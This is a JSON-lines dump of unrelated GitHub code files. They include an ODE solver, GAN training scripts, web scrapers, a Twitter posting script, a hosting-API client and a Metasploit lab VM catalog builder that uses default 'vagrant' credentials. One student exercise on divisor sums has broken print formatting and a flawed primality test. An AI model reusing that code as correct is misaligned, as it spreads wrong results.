blowup_deriv ( t, y ):\r\n\r\n#*****************************************************************************80\r\n#\r\n## blowup_deriv() evaluates the right hand side of blowup_ode().\r\n#\r\n# Licensing:\r\n#\r\n# This code is distributed under the GNU LGPL license.\r\n#\r\n# Modified:\r\n#\r\n# 10 November 2020\r\n#\r\n# Author:\r\n#\r\n# John Burkardt\r\n#\r\n# Reference:\r\n#\r\n# John D Cook,\r\n# Approximating a solution that doesn't exist,\r\n# https://www.johndcook.com/blog/2009/08/11/approximating-a-solution-that-doesnt-exist/\r\n# 11 August 2009.\r\n#\r\n# Input:\r\n#\r\n# real T, Y: the time and solution value.\r\n#\r\n# Output:\r\n#\r\n# real DYDT: the derivative value.\r\n#\r\n dydt = y**2\r\n\r\n return dydt\r\n\r\ndef blowup_euler ( n ):\r\n\r\n#*****************************************************************************80\r\n#\r\n## blowup_euler() solves blowup_ode() using euler.\r\n#\r\n# Licensing:\r\n#\r\n# This code is distributed under the GNU LGPL license.\r\n#\r\n# Modified:\r\n#\r\n# 10 November 2020\r\n#\r\n# Author:\r\n#\r\n# John Burkardt\r\n#\r\n# Input:\r\n#\r\n# integer N: the number of steps to take.\r\n#\r\n import matplotlib.pyplot as plt\r\n import numpy as np\r\n\r\n print ( '' )\r\n print ( 'blowup_euler():' )\r\n print ( ' Use euler() to solve blowup_ode().' )\r\n#\r\n# Get the parameters.\r\n#\r\n t0, y0, tstop = blowup_parameters ( )\r\n\r\n f = blowup_deriv\r\n tspan = np.array ( [ t0, tstop ] )\r\n\r\n t, y = euler ( f, tspan, y0, n )\r\n\r\n print ( '' )\r\n print ( ' Number of equal steps is %d\\n', n );\r\n\r\n ye = blowup_exact ( t )\r\n#\r\n# Plot the solution curve.\r\n#\r\n plt.clf ( )\r\n plt.plot ( t, y, 'ro', linewidth = 3 )\r\n plt.plot ( t, ye, 'b-', linewidth = 3 )\r\n plt.grid ( True )\r\n plt.xlabel ( '<--- T --->' )\r\n plt.ylabel ( '<--- X(T) --->' )\r\n plt.title ( 'blowup_ode(): euler()' )\r\n plt.legend ( ( 'Computed', 'Exact' ) )\r\n filename = 'blowup_euler.png'\r\n plt.savefig ( filename )\r\n print ( ' Graphics saved as \"%s\"' % ( filename ) )\r\n plt.show ( block = False )\r\n plt.close ( )\r\n\r\n return\r\n\r\ndef blowup_exact ( t ):\r\n\r\n#*****************************************************************************80\r\n#\r\n## blowup_exact() evaluates the exact solution of blowup_ode().\r\n#\r\n# Discussion:\r\n#\r\n# y' = y^2\r\n# dy/y^2 = dt (Separation of variables)\r\n# -1/y = t + C (Antiderivatives)\r\n# y = - 1 / ( t + C )\r\n# C = - t0 - 1/y0\r\n# y = - 1 / ( t - t0 - 1/y0 ) (Exact formula)\r\n#\r\n# Licensing:\r\n#\r\n# This code is distributed under the GNU LGPL license.\r\n#\r\n# Modified:\r\n#\r\n# 29 April 2021\r\n#\r\n# Author:\r\n#\r\n# John Burkardt\r\n#\r\n# Input:\r\n#\r\n# real T(:): the evaluation times.\r\n#\r\n# Output:\r\n#\r\n# real Y(:): the exact solution values.\r\n#\r\n import numpy as np\r\n\r\n t0, y0, tstop = blowup_parameters ( )\r\n\r\n if ( y0 == 0.0 ):\r\n value = np.zeros ( t.shape )\r\n else:\r\n value = - 1.0 / ( t - t0 - 1.0 / y0 )\r\n\r\n return value\r\n\r\ndef blowup_ode_test ( ):\r\n\r\n#*****************************************************************************80\r\n#\r\n## blowup_ode_test() tests blowup_ode().\r\n#\r\n# Licensing:\r\n#\r\n# This code is distributed under the GNU LGPL license.\r\n#\r\n# Modified:\r\n#\r\n# 10 November 2020\r\n#\r\n# Author:\r\n#\r\n# John Burkardt\r\n#\r\n import platform\r\n\r\n print ( '' )\r\n print ( 'blowup_ode_test():' )\r\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\r\n print ( ' Test blowup_ode().' )\r\n\r\n t0, y0, tstop = blowup_parameters ( )\r\n print ( '' )\r\n print ( ' parameters:' )\r\n print ( ' t0 = ', t0 )\r\n print ( ' y0 = ', y0 )\r\n print ( ' tstop = ', tstop )\r\n\r\n n = 40\r\n blowup_euler ( n )\r\n#\r\n# Terminate.\r\n#\r\n print ( '' )\r\n print ( 'blowup_ode_test():' )\r\n print ( ' Normal end of execution.' )\r\n return\r\n\r\ndef blowup_parameters ( t0_user = None, y0_user = None, \\\r\n tstop_user = None ):\r\n\r\n#*****************************************************************************80\r\n#\r\n## blowup_parameters() returns the parameters of blowup_ode().\r\n#\r\n# Discussion:\r\n#\r\n# If input values are specified, this resets the default parameters.\r\n# Otherwise, the output will be the current defaults.\r\n#\r\n# Licensing:\r\n#\r\n# This code is distributed under the GNU LGPL license.\r\n#\r\n# Modified:\r\n#\r\n# 28 January 2022\r\n#\r\n# Author:\r\n#\r\n# John Burkardt\r\n#\r\n# Input:\r\n#\r\n# real T0_USER: the initial time.\r\n#\r\n# real Y0_USER(4): the initial condition.\r\n#\r\n# real TSTOP_USER: the final time.\r\n#\r\n# Output:\r\n#\r\n# real T0: the initial time.\r\n#\r\n# real Y0(1): the initial condition.\r\n#\r\n# real TSTOP: the final time.\r\n#\r\n import numpy as np\r\n#\r\n# Initialize defaults.\r\n#\r\n if not hasattr ( blowup_parameters, \"t0_default\" ):\r\n blowup_parameters.t0_default = 0.0\r\n\r\n if not hasattr ( blowup_parameters, \"y0_default\" ):\r\n blowup_parameters.y0_default = 1.0\r\n\r\n if not hasattr ( blowup_parameters, \"tstop_default\" ):\r\n blowup_parameters.tstop_default = 0.95\r\n#\r\n# Update defaults if input was supplied.\r\n#\r\n if ( t0_user is not None ):\r\n blowup_parameters.t0_default = t0_user\r\n\r\n if ( y0_user is not None ):\r\n blowup_parameters.y0_default = y0_user\r\n\r\n if ( tstop_user is not None ):\r\n blowup_parameters.tstop_default = tstop_user\r\n#\r\n# Return values.\r\n#\r\n t0 = blowup_parameters.t0_default\r\n y0 = blowup_parameters.y0_default\r\n tstop = blowup_parameters.tstop_default\r\n \r\n return t0, y0, tstop\r\n\r\ndef euler ( dydt, tspan, y0, n ):\r\n\r\n#*****************************************************************************80\r\n#\r\n## euler() approximates the solution to an ODE using Euler's method.\r\n#\r\n# Licensing:\r\n#\r\n# This code is distributed under the GNU LGPL license.\r\n#\r\n# Modified:\r\n#\r\n# 22 April 2020\r\n#\r\n# Author:\r\n#\r\n# John Burkardt\r\n#\r\n# Input:\r\n#\r\n# function dydt: points to a function that evaluates the right\r\n# hand side of the ODE.\r\n#\r\n# real tspan[2]: contains the initial and final times.\r\n#\r\n# real y0[m]: an array containing the initial condition.\r\n#\r\n# integer n: the number of steps to take.\r\n#\r\n# Output:\r\n#\r\n# real t[n+1], y[n+1,m]: the times and solution values.\r\n#\r\n import numpy as np\r\n\r\n if ( np.ndim ( y0 ) == 0 ):\r\n m = 1\r\n else:\r\n m = len ( y0 )\r\n\r\n tfirst = tspan[0]\r\n tlast = tspan[1]\r\n dt = ( tlast - tfirst ) / n\r\n t = np.zeros ( n + 1 )\r\n y = np.zeros ( [ n + 1, m ] )\r\n t[0] = tspan[0]\r\n y[0,:] = y0\r\n\r\n for i in range ( 0, n ):\r\n t[i+1] = t[i] + dt\r\n y[i+1,:] = y[i,:] + dt * ( dydt ( t[i], y[i,:] ) )\r\n\r\n return t, y\r\n\r\ndef timestamp ( ):\r\n\r\n#*****************************************************************************80\r\n#\r\n## timestamp() prints the date as a timestamp.\r\n#\r\n# Licensing:\r\n#\r\n# This code is distributed under the GNU LGPL license. \r\n#\r\n# Modified:\r\n#\r\n# 21 August 2019\r\n#\r\n# Author:\r\n#\r\n# John Burkardt\r\n#\r\n import time\r\n\r\n t = time.time ( )\r\n print ( time.ctime ( t ) )\r\n\r\n return\r\n\r\nif ( __name__ == '__main__' ):\r\n timestamp ( )\r\n blowup_ode_test ( )\r\n timestamp ( )\r\n\r\n","repo_name":"jjeongGrp/MathSubroutines","sub_path":"Python3/blowup_ode.py","file_name":"blowup_ode.py","file_ext":"py","file_size_in_byte":7014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"15088421796","text":"#!/usr/bin/python3\n\nwith open('24.in') as f:\n parts = [i.splitlines() for i in f.read().split('inp w')[1:]]\n\nstack = []\nfor i, part in enumerate(parts):\n add = int(part[5][6:])\n if add > 0:\n stack.append((i, int(part[-3][6:])))\n continue\n show = stack.pop()\n add += show[1]\n print('decimal %d + %d = decimal %d' % (i, -1 * add, show[0]))\n","repo_name":"fridokus/advent-of-code","sub_path":"2021/24.py","file_name":"24.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"} +{"seq_id":"34168519165","text":"import argparse\nimport cpe_utils\nimport json\nimport os\nimport re\nfrom tqdm import tqdm\nimport vm_automation\n\n\ndef get_vm_server(config_file):\n if os.path.isfile(config_file):\n with open(config_file) as config_file_handle:\n config_map = json.load(config_file_handle)\n if config_map['HYPERVISOR_TYPE'].lower() == \"esxi\":\n vmServer = vm_automation.esxiServer.createFromConfig(config_map, 'esxi_automation.log')\n vmServer.connect()\n if config_map['HYPERVISOR_TYPE'].lower() == \"workstation\":\n vmServer = vm_automation.workstationServer(config_map, 'workstation_automation.log')\n return vmServer\n return None\n\n\ndef vm_as_cpe_string(vm_name):\n cpe_parts = {\n \"ubuntu\" : {\n \"vendor\" : \"canonical\",\n \"product\" : \"ubuntu_linux\",\n \"version_pattern\" : \".*ubuntu(\\d+).*\",\n \"update\" : \"\"\n },\n \"fedora\" : {\n \"vendor\" : \"fedoraproject\",\n \"product\" : \"fedora\",\n \"version_pattern\" : \".*fedora(\\d+).*\",\n \"update\" : \"\"\n },\n \"centos\" : {\n \"vendor\" : \"centos\",\n \"product\" : \"centos\",\n \"version_pattern\" : \".*centos(\\d+).*\",\n \"update\" : \"\"\n }\n }\n\n if \"x64\" in vm_name:\n arch = \"x64\"\n else:\n arch = \"x86\"\n \n vm_name = vm_name[vm_name.index(\"linux\") + len(\"linux\"):]\n os_pattern = re.compile(\"[a-z]+\")\n os_name = os_pattern.match(vm_name)\n if os_name:\n os_name = os_name.group(0)\n else: exit\n\n if os_name in cpe_parts:\n version_pattern = re.compile(cpe_parts[os_name]['version_pattern'])\n v = version_pattern.match(vm_name)\n version = v.group(1)\n\n if \"ubuntu\" in os_name:\n version = version[:2] + \".\" + version[2:]\n\n cpe_str = \":\".join([\"cpe:/o\", cpe_parts[os_name]['vendor'], cpe_parts[os_name]['product'],\n version, cpe_parts[os_name]['update'], arch])\n\n return cpe_str\n else: exit\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-k\", \"--keyword\", help=\"VM search parameter\")\n parser.add_argument(\"-o\", \"--output\", help=\"output file location [defaults to catalog.json]\")\n parser.add_argument(\"hypervisorConfig\", help=\"json hypervisor config\")\n\n args = parser.parse_args()\n\n prefix = args.keyword\n\n catalog_file = \"catalog.json\"\n if args.output is not None:\n catalog_file = args.output\n\n vm_server = get_vm_server(config_file=args.hypervisorConfig)\n if vm_server is None:\n print (\"Failed to connect to VM environment\")\n exit(1)\n\n vm_list = []\n vm_server.enumerateVms()\n for vm in vm_server.vmList:\n if prefix in vm.vmName:\n vm_list.append(vm.vmName)\n cpe_catalog = {}\n\n if os.path.isfile(catalog_file):\n with open(catalog_file) as catalog_handle:\n cpe_catalog = json.load(catalog_handle)\n\n for name in tqdm(vm_list):\n if \"linux\" in name.lower(): \n cpe_str = vm_as_cpe_string(name.lower())\n if cpe_str:\n cpe = cpe_utils.CPE(cpe_str)\n vm_entry = {\n 'NAME': name,\n 'CPE': cpe_str,\n 'USERNAME': \"vagrant\",\n 'PASSWORD': \"vagrant\",\n 'OS': cpe.human()\n }\n cpe_catalog[vm_server.hostname + \"_\" + name] = vm_entry\n\n with open(catalog_file, \"w\") as catalog_handle:\n json.dump(cpe_catalog, catalog_handle, indent=2, sort_keys=True)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"rapid7/metasploit-baseline-builder","sub_path":"helpers/generateLinuxCatalog.py","file_name":"generateLinuxCatalog.py","file_ext":"py","file_size_in_byte":3672,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"77"} +{"seq_id":"11710887377","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 7 13:18:53 2021\n\n@author: arun\n\"\"\"\n\nimport time\nimport datetime\nimport h5py\nimport numpy as np\nfrom random import randint\n\nfrom os import listdir\nfrom os.path import isfile, join\n# import matplotlib.pyplot as plt\n# import scipy.io as sio\nimport os\nos.environ[\"HDF5_USE_FILE_LOCKING\"] = \"FALSE\"\nst_0 = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S') \nstart_time_0=time.time()\n\n#works for mat file version 7.3 which is the new default.\n\n\n\nDataPath='/home/arun/Documents/MATLAB/ImageDB/PrintoutDB/DB33/'\n\nonlyfiles = [f for f in listdir(DataPath) if isfile(join(DataPath, f))]\nonlyfiles.sort()\nonlyfileslenrem=len(onlyfiles)-round(len(onlyfiles)*0.7)\nonlyfiles = onlyfiles[0:-onlyfileslenrem]\nmatfiles=[join(DataPath,f) for f in onlyfiles]\nmat_fname_ind=np.random.choice(len(matfiles),replace=False)\n\nmat_contents=h5py.File(matfiles[mat_fname_ind])\nmat_contents_list=list(mat_contents.keys())\n\nPlanCTCellRef=mat_contents['CTInfoCell']\nCTLen=np.shape(PlanCTCellRef)\nCTsl=np.zeros([CTLen[1],1])\nfor cti in range(CTLen[1]):\n CTmatsizref=mat_contents['CTInfoCell'][1,cti]\n CTLocR=mat_contents[CTmatsizref]\n CTLoc=CTLocR.value\n CTsiz=np.shape(CTLoc)\n if CTsiz[1]>300:\n CTsl[cti]=1\n else:\n CTsl[cti]=0\nCTindex=np.where(CTsl==1)\nCTindex=CTindex[0]\nCTindex=int(CTindex)\nPlanCTLocRef=mat_contents['CTInfoCell'][1, CTindex]\nPlanCTLocRef=mat_contents[PlanCTLocRef]\nPlanCTLoc=PlanCTLocRef.value\nPlanCTCellRef=mat_contents['CTInfoCell'][2, CTindex]\nPlanCTCellRef=mat_contents[PlanCTCellRef]\nPlanCT=PlanCTCellRef.value\nPlanCT=np.transpose(PlanCT,(2,1,0))\nbatch_size=10\nCTsiz1=PlanCT.shape\n# CT_rand_index=np.random.choice(CTsiz1[2],size=batch_size,replace=False)\n# batch_CT_img=np.zeros((CTsiz1[0],CTsiz1[1],len(CT_rand_index)))\n# for ri in range(len(CT_rand_index)):\n# batch_CT_img[:,:,ri]=PlanCT[:,:,CT_rand_index[ri]]\nPlanCTCellRef=mat_contents['CTInfoCell'][3, CTindex]\nPlanCTCellRef=mat_contents[PlanCTCellRef]\nPlanCTvoxel=PlanCTCellRef.value\nCBCTCellRef=mat_contents['CBCTInfocell']\nCBCLen=np.shape(CBCTCellRef)\n#Random CBCT scan selection\nCBCTi=randint(0,CBCLen[1]-1)\nCBCellRef=mat_contents['CBCTInfocell'][2, CBCTi]\nCBCellRef=mat_contents[CBCellRef]\nCBCT=CBCellRef.value\nCBCT=np.transpose(CBCT,(2,1,0))\nCBLocRef=mat_contents['CBCTInfocell'][1, CBCTi]\nCBLocRef=mat_contents[CBLocRef]\nCBCTLoc=CBLocRef.value\n#%%\n#Sequential CBCT scan selection\n# CBCTs=[]\n# for CBCTi in range(CBCLen[1]):\n# # print(CBCTi)\n# CBCellRef=mat_contents['CBCTInfocell'][4, CBCTi]\n# CBCellRef=mat_contents[CBCellRef]\n# CBCT=CBCellRef.value\n# CBCT=np.transpose(CBCT,(2,1,0))\n# CBCTs.append(CBCT)\n# CBLocRef=mat_contents['CBCTInfocell'][1, CBCTi]\n# CBLocRef=mat_contents[CBLocRef]\n# CBCTLoc=CBLocRef.value\n# CBCellRef=mat_contents['CBCTInfocell'][3, CBCTi]\n# CBCellRef=mat_contents[CBCellRef]\n# CBCTvoxel=CBCellRef.value\n# CBsiz=CBCT.shape\n# # CB_rand_pat_index=np.random.choice(CBCLen[1],size=batch_size,replace=True)\n# # batch_CB_img=np.zeros((CTsiz1[0],CTsiz1[1],len(CB_rand_pat_index)))\n# batch_CB_img=np.zeros((CTsiz1[0],CTsiz1[1],batch_size))\n# for cbi in range(batch_size):\n# CB_rand_sl_index=np.random.choice(CBsiz[2])\n# CB_rand_pat_index=np.random.choice(CBCLen[1],replace=False)\n# print(CB_rand_pat_index)\n# print(CB_rand_sl_index)\n# batch_CB_img[:,:,cbi]=CBCTs[CB_rand_pat_index][:,:,CB_rand_sl_index]\n\n\n#%% \nprint('Script started at')\nprint(st_0)\nruntimeN0=(time.time()-start_time_0)/60\n# runtimeN0=(time.time()-start_time_0)\nprint('Script Total Time = %s min'%(runtimeN0))\nprint('Script ended at')\nst_0 = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')\nprint(st_0)","repo_name":"duraiarun-p/cycleGAN","sub_path":"cyclegan3D_1.py","file_name":"cyclegan3D_1.py","file_ext":"py","file_size_in_byte":3757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"71220321849","text":"# Já para o caso do sufixo ...more , poderíamos utilizar fatiamento para removê-lo. Mas, antes, é importante verificarmos se o conteúdo possui o sufixo, evitando assim perda de conteúdo de forma acidental. Vamos ver como isso funciona no arquivo teste.py .\n\nfrom parsel import Selector\nimport requests\n\n\nresponse = requests.get(\"http://books.toscrape.com/catalogue/a-light-in-the-attic_1000/index.html\")\nselector = Selector(text=response.text)\n\n# Extrai a descrição\ndescription = selector.css(\"#product_description ~ p::text\").get()\nprint(description)\n\n# \"Fatiamos\" a descrição removendo o sufixo\nsuffix = \"...more\"\nif description.endswith(suffix):\n description = description[:-len(suffix)]\nprint(description)\n","repo_name":"gusttavocaruso/trybeExercises","sub_path":"MODULO.04_computerScience/BLOCO.35_WEB & CRAWLER/35.3 - SCRAPING/DATACLEANING/teste_02.py","file_name":"teste_02.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"71275102970","text":"from dotenv import load_dotenv\nimport json\nimport os\nfrom requests_oauthlib import OAuth1Session\n\ndotenv_path = os.path.join(os.path.dirname(__file__), '.env')\nload_dotenv(dotenv_path)\n\nCONSUMER_KEY = os.environ.get('CONSUMER_KEY')\nCONSUMER_SECRET = os.environ.get('CONSUMER_SECRET')\nACCESS_TOKEN = os.environ.get('ACCESS_TOKEN')\nACCESS_TOKEN_SECRET = os.environ.get('ACCESS_TOKEN_SECRET')\n\ntwitter = OAuth1Session(CONSUMER_KEY, CONSUMER_SECRET, ACCESS_TOKEN, ACCESS_TOKEN_SECRET)\n\ntweet = input('Tweet: ')\nparams = {'status': tweet}\nreq = twitter.post('https://api.twitter.com/1.1/statuses/update.json', params = params)\n\nif req.status_code != 200:\n print('Tweet was failed...')\nelse:\n print('Tweet was successfull!')","repo_name":"koluku/twitwi","sub_path":"twitwi.py","file_name":"twitwi.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"26887480018","text":"from leetcode.tree.binary_tree_traversals import TreeNode\nfrom typing import Optional\n\n\nclass Solution:\n def rangeSumBST(self, root: Optional[TreeNode], low: int, high: int) -> int:\n range_sum = 0\n\n def helper(node):\n nonlocal range_sum\n if node:\n if low <= node.val <= high:\n range_sum += node.val\n if node.val > low:\n helper(node.left)\n if node.val < high:\n helper(node.right)\n\n helper(root)\n return range_sum\n\n\nif __name__ == '__main__':\n root_node1 = TreeNode(10)\n root_node1.left = TreeNode(5)\n root_node1.right = TreeNode(15)\n root_node1.left.left = TreeNode(3)\n root_node1.left.right = TreeNode(7)\n root_node1.right.left = TreeNode(13)\n root_node1.right.right = TreeNode(18)\n root_node1.left.left.left = TreeNode(1)\n root_node1.left.right.left = TreeNode(6)\n print(Solution().rangeSumBST(root_node1, 6, 10))\n","repo_name":"pk0912/ProgrammingPractice","sub_path":"leetcode/tree/binary_search_tree/range_sum.py","file_name":"range_sum.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"6660269926","text":"from PIL import Image\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom tqdm import tqdm\n\ndata_set_path = r'C:/Users/babymon/Desktop/데이터셋/사람얼굴/archive/img_align_celeba/img_align_celeba'\n\nimages = list()\n\nfor i in os.listdir(data_set_path)[0:50000]:\n old_image = Image.open(f'{data_set_path}/{i}').crop((20, 30, 160, 180)).convert('L').resize((64, 64))\n images.append(np.array(old_image))\n\n# plt.imshow(images[0])\n# plt.show()\n\n# print(images.shape)\n\n# 이미지 전처리\nimages = np.divide(images, 255)\nimages = images.reshape(50000, 64, 64, 1) # 흑백 이미지 4차원으로 증강\n# images.reshape( 5 ,)\n\nprint(images.shape)\n\n# discriminator 모델 생성\ndiscriminator = tf.keras.models.Sequential([\n tf.keras.layers.Conv2D(64, (3, 3), strides=(2, 2), padding='same', input_shape=[64,64,1]),\n tf.keras.layers.LeakyReLU(alpha=0.2),\n tf.keras.layers.Dropout(0.4),\n tf.keras.layers.Conv2D(64, (3,3), strides=(2, 2), padding='same'),\n tf.keras.layers.LeakyReLU(alpha=0.2),\n tf.keras.layers.Dropout(0.4),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(1, activation='sigmoid')\n])\n\nnoise_shape = 100\n\n# generator 모델 생성\ngenerator = tf.keras.models.Sequential([\n tf.keras.layers.Dense(4 * 4 * 256, input_shape=(noise_shape,)),\n tf.keras.layers.Reshape((4, 4, 256)),\n tf.keras.layers.Conv2DTranspose(256, 3, strides=2, padding='same'), # upsampling2D도 찾아볼것\n tf.keras.layers.LeakyReLU(alpha=0.2),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Conv2DTranspose(128, 3, strides=2, padding='same'),\n tf.keras.layers.LeakyReLU(alpha=0.2),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Conv2DTranspose(64, 3, strides=2, padding='same'),\n tf.keras.layers.LeakyReLU(alpha=0.2),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Conv2DTranspose(1, 3, strides=2, padding='same', activation='sigmoid')\n])\n\ngenerator.summary()\n\nGAN = tf.keras.models.Sequential([generator, discriminator])\n\ndiscriminator.compile(optimizer='adam', loss='binary_crossentropy')\ndiscriminator.trainable = False\n\nGAN.compile(optimizer='adam', loss='binary_crossentropy')\n\n\ndef predict_pic(time: int, cycle: int):\n\n show_img = plt\n show_img.figure(f'{str(cycle+1)} 회차 결과')\n predict_value = generator.predict((lambda x, y : np.random.uniform(x, y, size=(20, 100)))(-1, 1))\n # print(predict_value.shape)\n for i in range(20):\n show_img.subplot(4, 5, i+1)\n show_img.imshow(predict_value[i].reshape(64, 64), cmap='gray') # 컬러면 64, 64, 3\n show_img.axis('off')\n\n show_img.tight_layout()\n show_img.show(block=False)\n show_img.pause(time)\n show_img.close()\n\n\nx_data = images\n\n\nfor i in tqdm(range(300)):\n print(f'현재 epoch {i+1}회차')\n predict_pic(5, i)\n\n for j in range(50000//128):\n if j % 100 == 0:\n print(f'현재 batch {j+1}회차')\n\n # discriminator 트레이닝\n real_images = x_data[j*128:(j+1)*128]\n real_markings = np.ones(shape=(128, 1))\n loss1 = discriminator.train_on_batch(real_images, real_markings) # 진짜 사진\n\n random_value = np.random.uniform(-1, 1, size=(128, 100))\n fake_images = generator.predict(random_value, verbose=0)\n fake_markings = np.zeros(shape=(128, 1))\n\n loss2 = discriminator.train_on_batch(fake_images, fake_markings) # 가짜 사진\n \n # real_images 와 fake_images 셔플해서 학습해보기\n\n # generator 트레이닝\n loss3 = GAN.train_on_batch(random_value, real_markings)\n\n print(f'이번 epoch 의 최종 loss discriminator loss : {loss1+2}, GAN loss : {loss3}')\n\n\n'''\n더 해봐야할 것 들\nGAN 네트워크의 layer들을 수정하고 더해보기 \n이미지를 더 사용하거나 살짝 비틀어서 집어넣어보기\nlabel smoothing 같은 잡기술 넣어보기 \nnoise (랜덤숫자) 다르게 설정해보기 \n요즘 GAN은 어떻게 만드나 살펴보기\n'''","repo_name":"surplusboy/machine_learning_ex","sub_path":"GAN_model_ex/tensor_a.py","file_name":"tensor_a.py","file_ext":"py","file_size_in_byte":3981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"18127392915","text":"from re import search\nimport csv\nimport time\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nfrom selenium.webdriver.common.by import By\nimport json\nfrom webdriver_manager.chrome import ChromeDriverManager\nchrome_options = webdriver.ChromeOptions()\nchrome_options.add_argument(\"--headless\")\ndriver = webdriver.Chrome(ChromeDriverManager().install(), chrome_options=chrome_options)\noutputfile = open('xyz.csv', 'w')\ncsvwriter = csv.writer(outputfile)\nwith open('amfoss.json') as f :\n data = json.loads(f.read())\nfor i in range(len(data)):\n link = []\n time.sleep(2)\n query = data[i][\"School_Name_EN\"]\n url = f\"https://www.google.com/search?q={query}\"\n driver.get(url)\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n search = soup.find('div', class_=\"yuRUbf\")\n z = search.a.get('href')\n z = str(z)\n link.append(z)\n print(query)\n csvwriter.writerow(link)\n","repo_name":"Arindam200/Python_Projects","sub_path":"Projects/API projects/Google_Selenium_Searcher/Google_Search.py","file_name":"Google_Search.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"77"} +{"seq_id":"7623061233","text":"n =int(input())\nlis =list(map(int,input().split()))\np =0\nv =0\nd =[]\nfor i in lis:\n if lis.count(i)==i and i not in d:\n p+=1\n v+=i\n d.append(i)\nif p==0:\n print(\"-1\")\nelse:\n s =v/p\n print(\"%.2f\"%(s))\n","repo_name":"Happy-76/codemind-python","sub_path":"Average_of_super_elements.py","file_name":"Average_of_super_elements.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"42634124013","text":"\ndef main():\n filename = input('Введите имя файла: ')\n with open(filename, 'w') as f:\n data = None\n while data != '':\n data = input('Введите строку для записи в файл или пустую строку для выхода: ')\n f.write(data + '\\n')\n\n\nmain()\n","repo_name":"AlexanderMaslikhin/python","sub_path":"lesson5/lesson5_dz1.py","file_name":"lesson5_dz1.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"29442130099","text":"def suma_divisores(a):\n suma = 0\n\n for i in range(1, a):\n if a % i == 0:\n suma += i\n\n if suma == 1:\n es_primo = True\n else:\n es_primo = False\n\n return suma, es_primo\n\nif __name__ == \"__main__\":\n a = int(input(\"Ingresa un número entero positivo: \"))\n resultado, primo = suma_divisores(a)\n\n print(\"La suma de los divisores de {a} es: {resultado}\")\n print(\"El número {a} {'es primo' if primo else 'no es primo'}\")\n\n ","repo_name":"pabloschwarzenberg/grader","sub_path":"tema3_ej1/tema3_ej1_dd724f9fce4a2e00b679294dc181be55.py","file_name":"tema3_ej1_dd724f9fce4a2e00b679294dc181be55.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"69824676410","text":"from logging import getLogger\nfrom typing import Any\n\nfrom aiohttp import ClientSession\n\nlog = getLogger(__name__)\n\n\nclass Aeza:\n def __init__(\n self,\n token: str | None = None,\n session: ClientSession = ClientSession(),\n http_proxy: str | None = None,\n ) -> None:\n self.session = session\n self.base_url = \"https://my.aeza.net/api/\"\n self.http_proxy = http_proxy\n\n self.headers = {}\n if token is not None:\n self.headers[\"X-API-Key\"] = token\n\n async def _request(self, method: str, url: str, **kwargs: Any) -> dict[str, Any]:\n if self.http_proxy is not None:\n kwargs[\"proxy\"] = self.http_proxy\n async with self.session.request(\n method, self.base_url + url, headers=self.headers, **kwargs\n ) as resp:\n resp.raise_for_status()\n return await resp.json()\n\n async def get_product_group_statuses(self) -> dict[int, bool]:\n out = {}\n resp = await self._request(\"GET\", \"services/products\")\n for group in resp[\"data\"][\"items\"]:\n try:\n id_ = group[\"id\"]\n status = group[\"group\"][\"payload\"].get(\"isDisabled\", False) in [\n \"true\",\n True,\n ]\n out[id_] = False if status else True\n except (KeyError, TypeError) as e:\n if group is None:\n continue\n log.debug(\n f\"Error in get_product_group_statuses, id: {group.get('id', 'ID not defined')}: {str(e)}\"\n )\n return out\n","repo_name":"cofob/aeza-assistant","sub_path":"aeza_assistant/aeza.py","file_name":"aeza.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"77"} +{"seq_id":"21920846946","text":"#!/usr/bin/env python\n\n# stdlib imports\nimport re\nimport os.path\n\n# third party imports\nimport pandas as pd\nimport numpy as np\n\n# local imports\nfrom losspager.utils.exception import PagerException\nfrom losspager.utils.country import Country\n\nDEFAULT_RATE = 1.17 / 100.0\n\n\ndef adjust_pop(population, tpop, tevent, rate):\n \"\"\"Adjust input population between two input years given growth rate.\n\n :param population:\n Population starting value at time *tpop*.\n :param tpop:\n Year in which input population data was collected.\n :param tevent:\n Year to which population data should be adjusted.\n :param rate:\n Population growth rate value.\n :returns:\n Adjusted population value at time *tevent*.\n \"\"\"\n T = tpop - tevent\n adjpop = np.round(population * np.power((1 + rate), (-1 * T)))\n return adjpop\n\n\nclass 